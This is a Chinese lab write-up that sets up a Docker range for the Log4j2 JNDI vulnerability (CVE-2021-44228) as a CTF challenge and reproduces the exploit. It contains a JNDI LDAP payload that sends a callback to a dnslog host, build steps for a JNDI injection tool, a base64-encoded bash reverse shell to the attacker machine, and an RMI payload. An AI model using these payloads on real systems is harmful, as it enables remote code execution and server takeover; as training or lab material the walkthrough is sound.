0x01 前言
这几天在给新生赛出题,打算出real world的题目。就顺便把real world的赛题给复现一遍。网上其实也有很多的教程主要是环境的搭建以及Dockerfile和docker-compsoe.yml的编写。
实验环境:
| 环境 | 版本 | IP|
|–|–|–|–|
|靶场|ubuntu 18 & vulfocus/log4j2-cve-2021-44228| 192.168.43.139|
|攻击机 |kali Linux 2021 | 192.168.43.77 |
工具下载:JNDI.
0x02 Dokerfile的编写
Dokerfile
FROM vulfocus/log4j2-cve-2021-44228
RUN apt-get update
COPY flag /flag
因为还不是很熟悉原理是什么,无法完全地构建本地靶场,用的还是vulfocus
下的镜像。这一个镜像默认打开的端口是8080
,为了避免冲突在docker-compsoe.yml
中我们需要做一个端口映射。
0x03 docker-compsoe.yml的编写
docker-compsoe.yml
version: "2"
services:
log4j2:
build: .
restart: "always"
ports:
- "9999:8080"
这里我把原来的端口映射到了9999端口,本地再放一个flag文件。
0x05 复现
1.化境启动
到那一个目录下输入docker-compose build
拉取相关的镜像
然后 docker images
查看是否拉取成功。
接着docer-compose up -d
,直接启动环境
再使用docker ps -a
进行容器的查看
成功构建该容器,然后使用win7物理机查看。构建成功。
2.复现
1、首先查看是否能外带出数据(靶场绝对是可以的)
这里的靶场环境是get传参数,那么是要进行一次的url编码。
hello?payload=${jndi:ldap://y5bapy.dnslog.cn/exp}
刷新一下,去dnslog就能看到有外带的数据。
2、接下来需要构建一个恶意数据进行数据监听,构造payload,这里是直接构造反弹shell的恶意代码。
工具下载:git clone https://gitee.com/Lemon_i/JNDI-Injection-Exploit.git
然后打包项目:mvn clean package -DskipTests
如果提示没有mvn的话就下一个:apt-get install maven
开始构造恶意数据。
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjc3LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "192.168.43.77"
echo 后面的一串字符串YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjc3LzEyMzQgMD4mMQ==
是恶意代码
bash -i >& /dev/tcp/192.168.43.77/1234 0>&1
的base64的编码。-A 之后的那一串IP就是攻击机的IP地址,按照这个去构造基本就可以了。
最后虚拟机监听端口使用上面生成的恶意代码向服务器发送即可反弹shell。
url/hello/?payload=%24%7Bjndi%3Armi%3A%2F%2F192.168.43.77%3A1099%2FExploitBypass%7D
成功反弹,拿到flag。
0x06 原理分析
持续更新